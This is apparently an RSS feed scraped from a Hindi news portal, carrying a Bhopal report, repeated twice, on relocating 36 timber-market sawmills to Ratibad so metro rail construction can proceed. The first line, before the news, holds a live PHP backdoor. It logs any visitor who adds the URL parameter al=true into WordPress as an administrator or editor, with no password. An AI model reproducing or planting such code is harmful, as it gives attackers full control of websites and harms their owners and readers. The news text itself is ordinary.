// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Metro Rail – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 22 May 2026 13:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मेट्रो प्रोजेक्ट को मिली रफ्तार, 50 साल बाद शिफ्ट होंगी 36 आरा मशीनें https://pratyushaashakinayikiran.com/?p=221575 Fri, 22 May 2026 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=221575  भोपाल 
शहर के बीच से आरा मशीन टिंबर मार्केट की शिफ्टिंग पर 50 साल बाद बात बन गई। मेट्रो रेल प्रोजेक्ट की जद में आ रही पुल पातरा से ग्रांड होटल के पीछे तक 36 आरा मशीनों को हटाने पर सहमति बन गई है। आरा मशीन संचालकों को एयरपोर्ट के पास रातीबड़ में जगह आवंटित कर दी गई। 26 आरा मशीनों के दस्तावेज अपडेट है, जबकि दस आरा मशीनों के दस्तावेजों का अपडेटेशन बाकी है। जो अपडेट है, उन्हें नई जगह पर काम शुरू करने की अनुमति पहले दिन से ही मिल जाएगी। डिस्ट्रिक्ट फॉरेस्ट ऑफिसर की एनओसी बाकी है, जिसके बाद नई जगह पर काम शुरू हो जाएगा।

रातीबड़ में लघु उद्योग निगम ने यहां आरा मशीनों के लिए इंफ्रास्ट्रक्चर विकसित किया है। 12 एकड़ में 36 आरा मशीनों के लिए पूरी तरह नया क्षेत्र विकसित कर दिया गया है। अफसरों का कहना है कि शिफ्टिंग के लिए पांच करोड़ रुपए भी दिए गए। शहर में कुल 165 आरा मशीनें है।

मेट्रो लाइन, अंडरग्राउंड रैंप का काम हो सकेगा शुरू

मेट्रो ट्रेन प्रोजेक्ट की सबसे बड़ी बाधा टिंबर मार्केट है। पुल बोगदा से पुल पातरा के बीच एलिवेटेड और इसके बाद अंडरग्राउंड लाइन का काम शुरू ही नहीं हो पा रहा है। टिंबर मार्केट के दुकानदारों की सबसे बड़ी ताकत उनका कारोबार है। शहर की जरूरत की 60 फीसदी लकड़ी का सामान और लकड़ियां यहीं से जाती है। सभी दुकानें हटने से फर्नीचर व इसके लिए जरूरी लकड़ियों की आपूर्ति प्रभावित न हो इसका भी ध्यान रखना होगा। इसी कमजोर नब्ज पर लंबे समय से रोड किनारे कारोबार चल रहा है।

सुनसान गली में टिंबर की दुकानें
पुल बोगदा से पुल पातरा के बीच करीब दो किमी लंबी रोड पहले दुकानदारों और ग्राहकों से भरी रहती थी, लेकिन मेट्रो के काम के चलते हुई तोड़फोड़ ने पूरी रोड पर लगभग सन्नाटे की स्थिति बना दी। यहां सिर्फ लकड़ी बाजार ही बचा है और जब तक ये नहीं हटता काम मुश्किल है। ऐशबाग के 90 डिग्री ब्रिज के बाद इन्हीं टिंबर की दुकानों के बीच अंडरग्राउंड लाइन का काम शुरू होगा।

आरा मशीनों की शिफ्टिंग पर सहमति
आरा मशीनों की शिफ्टिंग पर सहमति बन गई है। उद्योग नियमों के अनुसार प्लॉट आवंटन हो चुका है। अब आरा मशीन संचालक अपने स्तर पर शिफ्टिंग शुरू कर देंगे। एक माह में पुल पातरा से ग्रांड होटल के पीछे तक की आरा मशीनें हट जाएगी।

-बदर आलम, अध्यक्ष, टिंबर मार्केट एसोसिएशन
रातीबड़ में जगह तय

रातीबड़ में आरा मशीनों के लिए जगह तय कर दी। इंफ्रास्ट्रक्चर भी तैयार हो गया। स्ट्रीट लाइट और कुछ काम बाकी है, इस सप्ताह ये काम पूरा हो जाएगा। डीएफओ की एनओसी मिलना है, नई जगह पर काम शुरू किया जा सकेगा।

-दीपक पांडेय, एसडीएम, सिटी

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मेट्रो प्रोजेक्ट को मिली रफ्तार, 50 साल बाद शिफ्ट होंगी 36 आरा मशीनें https://pratyushaashakinayikiran.com/?p=221577 Fri, 22 May 2026 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=221577  भोपाल 
शहर के बीच से आरा मशीन टिंबर मार्केट की शिफ्टिंग पर 50 साल बाद बात बन गई। मेट्रो रेल प्रोजेक्ट की जद में आ रही पुल पातरा से ग्रांड होटल के पीछे तक 36 आरा मशीनों को हटाने पर सहमति बन गई है। आरा मशीन संचालकों को एयरपोर्ट के पास रातीबड़ में जगह आवंटित कर दी गई। 26 आरा मशीनों के दस्तावेज अपडेट है, जबकि दस आरा मशीनों के दस्तावेजों का अपडेटेशन बाकी है। जो अपडेट है, उन्हें नई जगह पर काम शुरू करने की अनुमति पहले दिन से ही मिल जाएगी। डिस्ट्रिक्ट फॉरेस्ट ऑफिसर की एनओसी बाकी है, जिसके बाद नई जगह पर काम शुरू हो जाएगा।

रातीबड़ में लघु उद्योग निगम ने यहां आरा मशीनों के लिए इंफ्रास्ट्रक्चर विकसित किया है। 12 एकड़ में 36 आरा मशीनों के लिए पूरी तरह नया क्षेत्र विकसित कर दिया गया है। अफसरों का कहना है कि शिफ्टिंग के लिए पांच करोड़ रुपए भी दिए गए। शहर में कुल 165 आरा मशीनें है।

मेट्रो लाइन, अंडरग्राउंड रैंप का काम हो सकेगा शुरू

मेट्रो ट्रेन प्रोजेक्ट की सबसे बड़ी बाधा टिंबर मार्केट है। पुल बोगदा से पुल पातरा के बीच एलिवेटेड और इसके बाद अंडरग्राउंड लाइन का काम शुरू ही नहीं हो पा रहा है। टिंबर मार्केट के दुकानदारों की सबसे बड़ी ताकत उनका कारोबार है। शहर की जरूरत की 60 फीसदी लकड़ी का सामान और लकड़ियां यहीं से जाती है। सभी दुकानें हटने से फर्नीचर व इसके लिए जरूरी लकड़ियों की आपूर्ति प्रभावित न हो इसका भी ध्यान रखना होगा। इसी कमजोर नब्ज पर लंबे समय से रोड किनारे कारोबार चल रहा है।

सुनसान गली में टिंबर की दुकानें
पुल बोगदा से पुल पातरा के बीच करीब दो किमी लंबी रोड पहले दुकानदारों और ग्राहकों से भरी रहती थी, लेकिन मेट्रो के काम के चलते हुई तोड़फोड़ ने पूरी रोड पर लगभग सन्नाटे की स्थिति बना दी। यहां सिर्फ लकड़ी बाजार ही बचा है और जब तक ये नहीं हटता काम मुश्किल है। ऐशबाग के 90 डिग्री ब्रिज के बाद इन्हीं टिंबर की दुकानों के बीच अंडरग्राउंड लाइन का काम शुरू होगा।

आरा मशीनों की शिफ्टिंग पर सहमति
आरा मशीनों की शिफ्टिंग पर सहमति बन गई है। उद्योग नियमों के अनुसार प्लॉट आवंटन हो चुका है। अब आरा मशीन संचालक अपने स्तर पर शिफ्टिंग शुरू कर देंगे। एक माह में पुल पातरा से ग्रांड होटल के पीछे तक की आरा मशीनें हट जाएगी।

-बदर आलम, अध्यक्ष, टिंबर मार्केट एसोसिएशन
रातीबड़ में जगह तय

रातीबड़ में आरा मशीनों के लिए जगह तय कर दी। इंफ्रास्ट्रक्चर भी तैयार हो गया। स्ट्रीट लाइट और कुछ काम बाकी है, इस सप्ताह ये काम पूरा हो जाएगा। डीएफओ की एनओसी मिलना है, नई जगह पर काम शुरू किया जा सकेगा।

-दीपक पांडेय, एसडीएम, सिटी

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